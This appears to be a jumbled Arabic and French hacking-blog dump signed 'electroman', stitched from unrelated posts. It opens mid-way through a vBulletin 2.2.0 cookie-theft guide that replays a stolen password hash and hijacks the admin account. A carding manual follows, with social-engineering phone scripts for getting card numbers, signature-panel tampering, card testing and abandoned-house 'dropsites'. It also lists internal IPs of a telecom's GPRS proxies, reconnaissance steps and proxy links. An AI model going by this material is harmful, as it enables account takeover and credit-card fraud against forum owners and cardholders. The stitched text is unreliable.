الاي بي الذي قمنا بكتابته سابقا (مع ملاحظة انه يجب ان يكون على جهازي سيرفر مثل IIS او Apache او غيرها ) .

وبعد ان تتم العملية بنجاح قم بفتح ملف الـ Log الخاص بالسيرفر الذي يحتويه جهازك ..
مثال لو كان السيرفر اباتشي .. فتاح المجلد Apche واختر logs واختر Acces Log .
ستجد جميع الاوامر التي طلبتها من السيرفر .. إلخ

ابحث عن الكود الخاص بالباسورد .. مثال :

GET/ bbuserid=86;%20bbpassword=dd6169d68822a116cd97e1fb







ddf90622;%20sessionhash=a
4719cd620534914930b86839c4bb5f8;%20bbthreadview[54







20]=1012444064;%20bblastvi
sit=1011983161

فكر قليلا الان .. اين الباسورد ؟؟
الباسورد موجودة لكن بطريقة مشفرة يصعب كسرها .. اذن مالحل ؟
قم بنسخ الكود الذي وجدته والصقه في المتصفح .. بهذا الشكل
http://www.victim.com/vb/index.php?bbuserid=[userid]&bbpassword=[password hash]
ستجد عبارة : " أهلا بعودتك يـا ( اسم الذي سرقت منه الكوكيز....) "
في هذه الحالة انت الان تستطيع التحكم بكل شي وكانك مدير المنتدى (الذي سرقت منه الكوكيز) ..
لكننا نحتاج الى كلمة المرور للدخول الى لوحة التحكم .. اذهب الى (التحكم) وقم بتعديل البريد الالكتروني الى بريدك الخاص
وثم قم بتسجيل الخروج .. ثم اذهب الى اداة Forgot Password .. وعندها تستطيع استقبال بريد يحتوي باسورد الادمن ..

اعتقد انك تعلم ما يجب ان تفعله بعد ذلك !! ادخل الى لوحة التحكم وافعل ما تشاء .. !

------------
الحل
-----------

للحماية من هذه الثغرة قم باغلاق الـ HTML في (المنتدى + الرسائل الخاصة + التواقيع + التقويم + ... )
(واي منفذ يمكن من خلاله وضع كود HTML باي صورة كانت )

كما يجب اغلا كود الـ IMG .. لانه ببساطة بامكانك استخدامه بدل كلمة فاذا وضعت او او
اي كلمة اخرى فانه سيتم تنفيذ السكربت بشكل او باخر ... لذا كن حذرا واغلق هذه المنافذ .
Be Secret .. Dont' be Lamer .

تاريخ اكتشاف الثغرة : 31 - 1 - 2002
تم تجربتها على الاصدار 2.2.0 وهي تعمل بنجاح .


السريفر الشخصي

http://belnet.dl.sourceforge.net/so...ptriad2-2-1.exe
هذا سريفر الاباتشي

Imaginer je réalise voila mr elctroman

exclusivités

après des longes recherches pour avoir une stable connections gprs en passant pare les sites comme meebo https://meebo.com ou bie https://imo.com en réaliser notre objectif et en vous présent pour la premier fois et en exclusivités centova la messagerie instantanées de rêve
https://cetanova.net présenter par mr electroman alors dit-e- merci !!!! :D

imedia free links ---imedia sites gratuits---

voila une collection des sites web es marche a 100% avec imedia présenter par electroman

wap.meditel.ma.wapamp.com/users9/0katana

wap.meditel.ma.www.goalzz.com

wap.meditel.ma.wap.esato.com/xhtml

wap.meditel.ma.wanawap.com

wap.meditel.ma.waptrick.com

wap.meditel.ma.gamawap.com

wap.meditel.ma.www.3gforfree.com/mobile

wap.meditel.ma.mobile.itsmy.com/umts/index.php3

wap.meditel.ma.dejavuwap.com/xhtmlcommunity/index

wap.meditel.ma.m.radar.net

wap.meditel.ma.m.taptap.net

wap.meditel.ma.wap.gamoku.com

wap.meditel.ma.www.4shared.com

wap.meditel.ma.fotochatter.com/index.php

wap.meditel.ma.m.vtap.com

wap.meditel.ma.ringermobile.com

تعرف على

Traceroute


الأمر Traceroute وهو من أوامر الدوس ويستخدم لتتبع المسار حتى الوصول الى العنوان او الموقع المطلوب تتبع المسار له.

فكره تتبع المسار قائمه على فكره بسيطة وهي تزويد حزمه البيانات المرسله من الحاسب بخانه تسمى (Time-to-live) او تختصر بـ TTL و المقصود بها زمن الحياه للحزمة. يوضع في تلك الخانه رقم على سبيل المثال (3) و هذا يعني ان الحزمة ستعيش ثلاثه قفزات (Router) او خادم (Server) خلال تجولها عبر الشبكه.


الذي يحدث كالتالي:
لنسمي النقطة التي يكون فيها محول او خادم في الشبكه بنقطة التوزيع.
يقوم الحاسب بأرسال الحزمة و فيها محدد عمرها برقم وهو TTL عند وصول الحزمة لنقطة التوزيع الأولى (للمحول الأول في الشبكه (Roter) او الخادم) تقوم نقطة التوزيع بتنقيص هذا الرقم بمقدار واحد ثم ترسل الحزمة للنقطة التاليه.
عندما تصل الحزمة لنقطة توزيع بحيث يكون عمر الحزمة صفر بعد انقاص واحد منها ترسل نقطة التوزيع رد لمصدر الحزمة (حاسبك) تخبره عن موت الحزمة (اي توقفها عند تلك النقطة) و ضمن الرد تكون هناك المعلومات.
من الضروري وضع عمر للحزمة و الا ستعج الشبكات بحزم تائه تتنقل من نقطة الى نقطة بدون هدى.

ماذا يحدث عند استخدام الأمر Traceroute ؟
يقوم الحاسب بوضع عمر الحزمة 1 ثم يرسلها فيصله الرد من نقطه التوزيع الأولى (بالعزاء).
فيقوم بارسال الحزمة مرة أخرى لكن بعمر يساوي 2 و بذلك يحصل على رد النقطة الثانيه. و يكرر العمليه حتى يصل الى العنوان فيقوم الحاسب المقصود بالرد من اي منفذ مفتوح لديه.

طريقة استخدام الأمر Traceroute

من نافذه الدوس أكتب الأمر التالي و سنستخدم موقع www.linux.org
او يمكن استخدام رقم تعريف الشبكة IP
C:> tracert 198.182.196.56


لأيقاف امر التتبع أضغط (Ctrl+C)

لحفظ نتيجة التتبع في ملف أضف
tracert www.pmail.com > tracert.txt
ELectroman

أذا رغبت في اضافه بيانات تتبع عدة مواقع في نفس الملف أضف
tracert www.rpmfind.net > tracert.txt

تقفي الاثر لانظمه الشبكه المرتبطه بالانترنت

و سيتناول الموضوع التالي:-
1 - تقفي الاثر لانظمه الشبكه المرتبطه بالانترنت
أ- استخدام الاداه whois من سطر اوامر لينكس (افضل توزيعه redhat 7.2 )
ب- ملقمات whois الهامه علي مستوي الانترنت
ج- استخدام الاداه sam spade علي ويندوز
د- استخدام الاداه traceroute من سطر اوامر لينكس و الاداه tracert في ويندوز

2 - تقفي اثر الشبكه الداخليه و اسماء نطاقتها
أ-استخدام الاداه nslookup من سطر اوامر لينكس او من سطر الاوامر في ويندوز 2000

3 - معرفه نوع نظام التشغيل
أ-استخدام الاداه المتعدده المهام gif langard
ب-استخدام موقع netcraft لتحديد نظام التشغيل

4 - البحث الحر في الانترنت لتجميع اكبر قدر من المعلومات عن الشبكه الهدف

5 - التقاط التعليقات البرمجيه
أ - استخدام خاصيه view source في المتصفح لقرائه التعليقات البرمجيه


6 - طرق وصل اجزاء الشبكات الداخليه لتكوين شبكه كبير(vpn , remote acces)


7-استخدام اليونكس شيل لعمل الاستعلامات التس تحتاج فيها الي استخدام لينكس عبر الانترنت
أ - طريقه التسجيل في يونكس شيل مجاني
ب - اختيار الشيل المناسب

8 - وصلات لتنزيل الادوات المطلوبه و اماكن الحصول عليها

==================================================
تقفي الاثر لمنظمه معينه
==================================================
ان تقفي الاثر هو احد اهم الخطوات التي يقوم بها الهكر الحقيقي ليكي يضع و يكون صوره في ذهنه عن طبيعه الهدف
و اسهل الامور هو تقفي اثر التكوينات المرتبطه بالانترنت و ذلك من حيث :-
نظام التشغيل
و خدمات tcp و udp
والبروتوكول العامله
و معرفه اسماء الميادين العامه و التقاط بانرز البورتات المنصته و خدمات انصاتها
تعداد بروتوكول SNMP بروتوكول التحكم بالشبكه البسيط
و معرفه الشيرز عبر بروتوكول SMB
اسماء المستخدمين و المستخدم الفعال
طول الباسورد و قوتها و امكانيه كسرها
من يملكون الصلاحيه بالوصول عبر ACLs
معرفه حوائط النيران و انواعها و تكنولوجيتها
امكانيه استخدام اتصالات مشفره
الطرق العامله في ال Remote administration
الويب سيرفرز
الثغرات العامله
و غيرها

ايضا تقفي اثر الانترانت او الشبكات المحليه
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
من حيث البروتوكولات المستخدمه tcp/ip ipx/spx appletalk و غيرها
طرق ربط اجزاء الشبكه هل يتم عبر direct connections , VPN , Remote acces
ارقام الوصول البعيد
اليات التحكم بالوصول
و الكثيير جدا جدا منه ما سوف نستخدمه الان و منه ما سيستخدم فيما بعد في مستوي اعلي قليلا

الان نبدأ بالدرس الفعلي بعد تلك المقدمه الطويله
==================================================
1 - تقفي الاثر لانظمه الشبكه المرتبطه بالانترنت
==================================================
يتم ذلك باستخدام الكثير من الادوات التي اكثرها يعمل علي لينكس و بعضها علي ويندوز
و سوف تكون البدايه مع استخدام الاداه whois من سطر اوامر لينكس
Electroman

better than ever

un site pour les hackeurs professionnelles pour leurs rechers
http://www.google.com/intl/xx-hacker

NEWS SUR MAROC TLECOME GPRS CONNECTION

EXCLUSIVE

projet fucking ass maroc telecome
sous code
FAMT
bjr chér-e-s clientèles

hier et aujourd'hui jé fé des recherches sur le proxy ip des poins acces suivant mmsiam
www.imgprs.ma
et je trouve des choses intersectant es telle que :

point acee mmsiam ip proxy et 10.16.35.50 : l ip racine de serveur et :

A1 192.168.171.131 ((((ip racine )))


A2 192.168.173.36

A3 192.168.240.2

A4 192.168.241.20

A5 10.16.35.50

point acce : www.iamgprs.ma ip proxy 212.217.54.133 lip racin de serveur et :


B1 192.168.171.131 ((((ip racine )))

B2 192.168.173.36

B3 192.168.240.2

si vous avez remarquez le A1 ip racine de serveur point acce iamgprs et le meme sur le point d'acce sur mmsiam et puisque le traget des ip et le mem de puis A1 a B1 A2 b2 ..... et puisk aussi une trou de sécurité et déclencher sur le point accee mmsiam alors cest bientaux www.iamgprs.ma
vos commentaires svp
mr electroman

carding

الجزء الاول:

هناك على الاقل 3 انواع من اجهزه الحمايه على الcredit card التي من المفروض الا تعرفها كمستخدم عادي و هي: ..
أ-account number رقم الحساب
ب-signature panel لوحه الامضاء
ج-the magnetic strip الستريب الممغنط
و سنقوم في هذا الجزء-بإذن الله-بشرح كل واحده على حده

أ- the account number رقم الحساب
--------------------------------
البطاقه الحمايه الاجتماعيه بها 9 ارقام ... رقم التليفون المنزلي، متضمن كود المنطقه،به 10ارقام ... لكن بطاقه master card بها 20 رقم..لماذا كل هذه الارقام؟؟
ليس مهما حسابيا لأي credit-card account ان يكون به اكثر من 8 ارقام..كل حامل كارتcardholder يجب (طبعا) ان يكون له رقم متفرد..visa و master card عندهم تقريبا حوالي 65,000,000 حامل كارت..لذا فنظام ترقيمهم يجب ان يحمل على الاقل هذا العدد من الارقام المتاحه
هناك 100,000,000 احتمال ممكن في رقم مكون كن 8 ارقام 00000000,00000001,00000002 حتى 99999999 لذا 8 ارقام كفايه جدا.ليسمح بتطور مستقبلي يكفي مثلا ان يجعلهم 9ارقام فهذا يزيد الاحتمالات لبلايين..و لكن في الحقيقه visa card بها 30 رقما و احيانا اكثر.american express بها 15 رقم.carte blanche به 10 ارقام.. لكن في هذه الشركات العملاقه يخططون لمستقبل كبر حتى يستطيعون مستقبلا استيعاب بلايين المشتركين و الارقام الزائده للحمايه..
مثلا رقم كارت visa card هو 4211 503 417 268 (من اليمين للشمال لكن في الانجليزيه تكتب بالعكس)..كل شراء بالكارت يجب ان تدخل رقم حسابك..لكن الكمبيوتر قد يرتكب خطأ و يسجل مثلا 4211 503 417 286
فائده نظام الترقيم الـ13ـري هو ان اي حامل لvisa card ممكن ان يكون حامل لأي هذه الارقام..هناك 10 تريليون احتمال.فقط 65 مليون من هذه الاحتمالات هي ارقام حقيقيه و فعاله..و احتمالات الخطأ ستنخفض لنحو 1 في ال150الف !!!! ...
هناك ايضانظم ترقيم اكثر امنا..من الكوادرليون احتمال ممكن في نظام الamerican express الـ15ـري.فقط 11 مليون رقم حقيقي..نسبه الخطأ او التجربه للحصول على رقم حقيقي صدفه لا تتعدى ال1 في 90مليون!!!
اما نظام الmaste card الـ20ـي فهناك حوالي 100 كوانتيليون احتمال(100000000000000000000) لذا فالارقام العشوائيه التي قد تكون موجوده لا تتعدى ال1 في التريليون !!!!! ...
من الاشياء الاخرى.. هذا يجعل من الممكن لاعلانات التلفاز ان تدعوا حاملي الكروت للشراء عبر الهاتف.الoperators لا يرون الكروت و لا لوحه الامضاء..كيف يتأكدون من ان المتصل لديه credut card ؟؟
هو يؤسس ثقته على الحمايه المتمثله في نظام ترقيم الـaccount numbers..فلو واحد اتصل و اخترع رقم كارت..الرقم اكيد لن يكون رقم موجود.. و من السهل كشف زيفه، لكل الاسباب العمليه الطريقه الوحيده للحصول عاى account numberاصلي هو عن طريق قراءته من كارت ائتمان !!!...

ب- the Signature Panel رقم الحساب
---------------------------------
لا يجب عليك مسح لوحه الامضاء لو كنت تريد سرقه كارت! ربما تظن انه يجب كتابه اسم حامل الكارت.ربما ترى ان هذا رائع لو اردت ان تحصل على بعض المال من البنك،لأنهم سيجعلونك توقع على لوحه يجب ان تطابق الامضاء عالكارت.لو انت او اي احد اخر عمل هذا.عاجلا ستجد الكارت غير عامل..
بعض الكروت لها خلفيه مرسومه بحيث لو مسحت الامضاء تمسح الخلفيه.و هناك"بصمه اليد" المصممه على الamerican express،شعارات mastercard و visa المكرره على اللوح بتاعتهم.
هناك طرق اقوى للحمايه،يقال ان عندما تمسح الpanel كلمه سريه"VOID"،تظهر لمنع استخدام الكارت.Adminstation (احد كتاب الكتاب) ضحى ب15 كارت لتجربه هذه النظريه
الممحاه العاديه ستمسح الsignature panels لو بالراحه و ببطء.الpanels ستذوب بحته قماش و energine.هذه الطريق تذيب الpanels بنظافه.من ال15 كارت. 6 لم يوجد شئ تحت الpanel و 9 بهم كلمه VOID. في كل الحالات كانت مكتوبه بحروف صغيره و مكرره جنب بعض

---------------------
هذا هو كيفيه تصنيفهم
---------------------

\\\\\\\\\\\\\\\\
كروت بكلمه VOID
\\\\\\\\\\\\\\\
Bloomingdale's
Bonwit Teller
Chase Convenience Banking Card
First Interstate Bank Card
I.Manin
Joseph Magnin
Montgomer Ward
Visa(chase manhatten) 1

\\\\\\\\\\\\\\
كروت بدون VOID
\\\\\\\\\\\\\\

American Express Gold Card
Brodway
MasterCard (city bank)1
Neiman-Marcus
Robinson's
Saks Fifth Avenue
-------------------------
عندما قربوا للنور القوي كلمه VOID كانت واضحه خلال Bloomingdale's card حتى من دون تذويب الpanel!!

الطريقه للعب حول هذه الخاصيه!!
-----------------------------
هناك طريقه واحده فقط..
الدهن فوق الPANEL ! هذا سيعمل فقط لو الكارت ليس عليه رسوم.الكروت التي لها الوان صعبه ايضا تكون مستحيله(saks panel لونها greenish \-tan khaki colour!!!!)

ج-the magnetic strip الشريط الممغنط
------------------------------------
و آخر اداة حمايه هي في الخلف.شريط بني ممغنط هو الMagnetic strip.ربما تظن انه يحوي بعض المعلومات عن حامل الكارت.الشريط حقيقة لا يحوي معلومات اكثر مما يحوي جزء مماثل في شريط تسجيل!!.
الشريط لا يحوي معلومات غير رقم الحساب و معلومات اخرى مماثله.و اي معلومات اخرى يحتاجها automatic-teller transaction.
ايضا.تاريخ انتهاء الكارتcard expiration date..ليس واضحا اذا كان الidentification number مسجل على الشريط ام يتم استدعائه من كمبيوتر البنك.الكثير من الصرافات الآليه.لها secret limit من 3 محاولات لوضع الpersonal identification number الصحيح.بعد 3 محاولات خاطئه..يصنف الكارت على انه مسروق و يصبحeaten اي يدمر.
من الممكن لخبطه البيانات على الشريط بتمرير مغناطيس عليه!!!

كود لون bloomingdale
---------------------
فقط في قليل من الحالات.لون الكارت يعني شيئا...هناك الكروت الذهبيه لAmerican Express,Visa,MasterCard و هي للزبائن المفضلين..كارت الAir travel له لونان احمر و اخضر..و الاخضر افصل..و اكثر



النظم التي تتبع هذا النظام هي bloomingdale..ال5 الوان لكروت bloomingdale تحدد اي نوع من العملاء انت..الازرق هو لعمال الشركه انفسهم.و اللون الاساسي هو الاصفر..اما الاحمر يعطي حامله 3 شهور free intrest و يعطى للعملاء الذين يقومون دائما بشراءات كبيره.الكارت الفضي جيد للunlimited لكن عند السفر الcharges يجب ان تدفع خلال 30 يوم..الكارت الذهبي محفوظ لأفضل و اكبر عملاء البنك

---------------------
الجزء الثاني
---------------------
مقدمة الجزء الثاني:
---------------------
في هذا الجزء سنريكم بعض التقنيات الجديده التي تمكنك من احصول على الكروت لوحدك..سنذكر ايضا كيفيه التعرف على الكروت و معرفه ان كانت valid ام لا!!
-----------------------------------------------------------------------
اولا سأذكر طريقه TRW.و ان اعجبتك فأنا ارشح لك ان تحصل على كتاب Major havok&british bloke عن هذه الطريقه و سيعجبك كثيرا.(انا ابحث لو وجدته سأنشره هنا و على من يجده ان يتفضل بنشره!)

TRW(من فهمي لها اظن انها تخص المريكيين فقط..انا لم افهمها جيدا ارجوا ممن يعرف اكثر ان يخبرنا)
---

المودم بتاعك يجب ان يضبط هكذا:
Half duplex
7 bits
1 stop bit
even parity
dial-up:214-980-2524
اول ما تبقى online انتظر للTRW prompt و اضغط ctrl-g ،انتظر صوت beep .ثم،اكتب الID الرباعي الخاص بالstate التي يقطن بها الشخص الذي تريد بياناته...ثم اضغط RETURN.بعدها اكتب البيانات التيتريد معرفتها عن الشخص صاحب الكارت بالشكل التالي:
RTS ID/PASSWORD LASTNAME FIRSTNAME ...,STREET # FIRST CHARACTER OF STREET NAMEZIP CODE
طبعا كل هذا في نفس السطر..بعد هذا اضغط RETURN ، H-Y ، RETURN، CTRL-S
لشخص اخر قم بالكتابه بنفس الطريقه في سطر اخر‍‍‍‍
---------------------------------
getting credit limit and account #1
----------------------------------
ها هو حوار من الممكن استخدامه في الهاتف للصول على معلومات كهذه(أرأيتم..social engineering ..انه يستخدم في كل مجالات الهاكينج):
----------
انت:اهلا،هنا بنك امريكا نحن نتصل لنعلمك ان حد الvisa card الخاص بك قد ارتفع ل$1.200.00
الضحيه: لكن حد الكارت بتاعي كان دائما $10.000.00‍‍‍‍‍!!!!
انت: يبدو ان هناك مشكله في الكمبيوتر،ها الكارت بتاعك في متناول يدك؟هل ممكن ان تقوم بقراءه الارقام المكتوبه ؟
الضحيه: حسنا،انها 9834 864 874 9857
انت: شكرا.سأتحقق من هذا الخطأ بنفسي.حالا...
---------
طريقه اخرى هي الحصول على هذه الكروت هي الذهاب لمحل كبير و البحث في صحائف القمامه حوله و هي ما تسمى بالdumpsting (مقزز مش كده!)
-------------------------------------
\\\\\\\\\\\\\\\\\\
تحديد الكارت الذي حصلت عليه(روعه!!)
\\\\\\\\\\\\\\\\\
------------------------------
American Express

/--------------------------
= American Express =
= 37XN NXXXXX XXXXX =
= MM/Y1 THRU MM/Y2 Y1 =
= David Lightman AX=
\--------------------------/
الرقمين الاولين دائما 37.لو الN's بين 80 و 89 اذن فهو goldذهبي و لو الn 37 فهو platinium بلاتيني
اول تاريخ هو تاريخ الذي تلقى فيه david الكرت..اما التاريخ الثاني فهو تاريخ الانتهاءexpiration date اما الy1 فلا تعني شيئا
------------------------------
MasterCard

/--------------------------\
= MasterCard (citibank)=
= 5XXX XXXX XXXX XXXX =
= XXXX AAA DD-MM-YY MM/YY =
= David Lightman =
\--------------------------/
اظن انك ستفهم هذا الكارت بسهوله..شئ واحد يجب معرفته..هذا الكارت يبدأ دائما برقم 5
----------------------------
Visa

/--------------------------
= VISA =
= Chase Manhatten =
= =
= 4XXX XXX(X) XXX(X) XXX(X)=
= MM/YY MM/YY*VISA =
= David Lightman =
\--------------------------/
هذا الكارت سهل جدا معرفته اسمه embossed عالكارت(اي يظهر بالكاربون) هناك شئ جيد..يبدأ دائما 4333 او 4444
-----------------------------
Wells Fargo

/--------------------------\
= David Lightman =
= MM/YY - MM/YY =
= 4024 0071 XXX(X) XXX(X) =
= L _/ =
\--------------------------/
هذا من الكروت الظريفه..لو بدأ ب 4024 0071(اقلب شمال عشان تفهم) اذن فاعرف ان معك واحد.ايضا لو ال"-" بين التواريخ "*" فاعرف انه gold card و لو الL متبوعه ب'_/' بقت "C" فاعرف انه classic card و لو الL بقتP يبقى premier card.......
---------------------------
\\\\\\\\\\\\\
اختبار الكروت
\\\\\\\\\\\\
للأسف شباب هذه قطعه بسيطه لكن لم افهمها لذا سأكتبه بالانجليزيه و على من يفهمها ان يترجمها و ينشرها مع الشكر:
To determine if the cards are any good or not is pretty easy. You go into the store you ripped these things off from and look by their phone. You should see a number and almost allways a merchant number. Another way to find these numbers is to wait untill they dial the numbers. Try to remeber the numbers that they dial. This method is a little better for sometimes written numbers in the stores are forgotten about and might have been changed since the last time they had changed the written copy. Yes, some Target workers are smart enough to memorize a number, and mabye even a merchant number.
When you call this number, and you get passed all the "red tape", then ask if the credit card number is clear for the amount you want to spend.
Ask the operator to cancel the auto withdrawal and hope she will, not many operators are that dumb.
--------------|
الجزء الثالث |
--------------|
The Dropsite(مركز اسقاط المسروقات!!)
\\\\\\\\\\\\\
يجب ان تجد مكانا آمنا لكل الذي اشتريته بالبطاقات المزوره.لو كنت تريد ان تدخل في العميق،ابعثهم على منزلك!!
لتحصل على dropsite جيد يجب ان تجد منزل مهجور.لكن يجب ان يكون منظره كما ان به حياة...عندما تكون جاهزا لطلب الاشياء التي ستشتريها،افعل ذلك ليلا.و اترك رساله عالباب بأن لديك عمل ليلا و ان يتركوا المشتروات في الحديقه الخلفيه.هذه افضل طريقه في رأيي لكن.سأخبرك بطرق اخرى.
استأجر مكانا لمده بسيطه..حتى تحصل على ما تريد و الغي الايجار و اختره مكانا بعيدا عن منزلك حتى تستطيع بعدها الاختفاء من المنطقه.
و هذه اخر طريقه تعتمد عالهاتف اقرأ هذه المحادثه بيني و شركه سوني:
انا:اهلا.انا فلان الفلاني و انا نهتم بالعرض ا



لخاص بجهاز سوني الجديد.و احب ان اتكلم مع احد في الامر
العامل:اكيد.سأخبرك بكل ما يهمك(...كلام عن الجهاز...)
انا:حسنا..يبدوا ان هذا ما احتاجه فعلا.هل استطيع شراءه بالفيزا و يأتي ابن عمي بعد ذلك لأخذه لأني مريض و لا استطيع الخروج؟؟
العامل:طبعا نحن في الخدمه ...الخ..
لكن انا لا احبذ هذه الطريقه..انا افضل الاولى.لكن as u like
الآن اليك تلك النصيحتين:
1-يفضل عندما تتصل للشراء ان تفعل ذلك ليلا ..ساعتها يكون الoperators متعبون و لا يتذكرون ما حدث بعدها
2-اياك اياك من استخدام نفس الdropsite مرتين..عندما تستخدم مكانا ما و تنتهي..انسااااه تماما
و نصيحه اخيره:
الكثير من الهاكرز ماتوا بتلك الطريقه
Many hackers died that way
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
انتهى الكتاب......
ELEctroman

the new is never be dead with the king

exclusive
voila des sites nv et teste par notre équipe plus que 25 fois

site pour navigation anonyme en https : ça marche sur pc et gsm



electroman hacking surfing free

https://gmail.google.com/?dest=http%3A%2F%2Fblablabla.

https://freeonlineproxy.info/browse.php?u=Oi8vd3d3Lmdvb2dsZS5jb20%3D&b=61
https://unblck.info/browse.php?u=Oi8vd3d3Lmdvb2dsZS5jb20%3D&b=61
https://helloschool.info/browse.php?u=Oi8vd3d3Lmdvb2dsZS5jb20%3D&b=61
https://blackdile.com/cgi-bin/nph-gov.aspx/000110A/687474702s7777772r676s6s676p652r636s6q2s
https://ww2.theevader.com/index.php?q=aHR0cDovL3d3dy5nb29nbGUuY29t&hl=1111101001 best had sa"a

https://www.dubaiproxy.com/surf/index.php?q=d3d3Lmdvb2dsZS5jb20%3D&hl=3ed
https://proxyman.co.cc/anonymproxy.info/index.php?q=aHR0cDovL3d3dy5nb29nbGUuc2Uv
https://0302.info/browse.php?u=Oi8vd3d3Lmdvb2dsZS5mcg%3D%3D&b=61
https://z-80.com
https://www.coolpanda.
https://www.ninjacloak.com/index.php/1010110A/9bd94580370c55a29ff83d6f7360d14ff55344431278ce4b33a017100?hl=fr&q=hi&btnG=Recherche+Google&lr=
https://www.amgstealth.com/browse.php?u=aHR0cDovL3d3dy5nb29nbGUuY29t&b=15
https://www.pagewash.com/nph-secure.cgi/000110A/uggcf:/=2fjjj.tbbtyr.pbz/nppbhagf/FreivprYbtva=3ffreivpr=3dznvy&cnffvir=3dgehr&ez=3dsnyfr&pbagvahr=3duggcf=253N=252S=252Sznvy.tbbtyr.pbz=252Sznvy=252S=253Suy=253Qse=2526gno=253Qjz=2526afe=253Q1=2526hv=253Qugzy=2526ml=253Qy&ygzcy=3dqrsnhyg&ygzcypnpur=3d2&uy=3dse

Imedia and maroc telecome your GPRS confeguration is here is here...//// maroc telecome? meditel? envoiyer votre configuration gprs

vous ete client chez meditel ou bien maroc telecome tu vx avoir ta configuration gprs gratuitement voila la solution :
maroc telecome : http://www.mobileiam.ma/param_mobile.asp

meditel : http://meditel.dmc3.sicap-france.com/frontoffice.view

notez bien que tu doit avoir le gprs activer sur ta carte si vous ne savez pas apellez :

meditel : 121

maroc telecome :888

mr electroman news merci et bonne journée

weebo get fast ur connection with firefox / avoir weebo rapide avec firefox

to have a fast weebo with firefox please fellow the instruction :
Clearing Your Cache/Cookies

Many issue can be alleviated by clearing your browser's Cache and cookies. Before you clear your cache and cookies for the first time, close all of your browsers, then open up a new one.

For Firefox users:

1. Click on “Tools” at the top of the browser window

2. Select “Clear Private Data” from the drop-down menu

3. Put a check mark next to “Cache” and “Cookies”

4. Click on the “Clear Private Data Now” button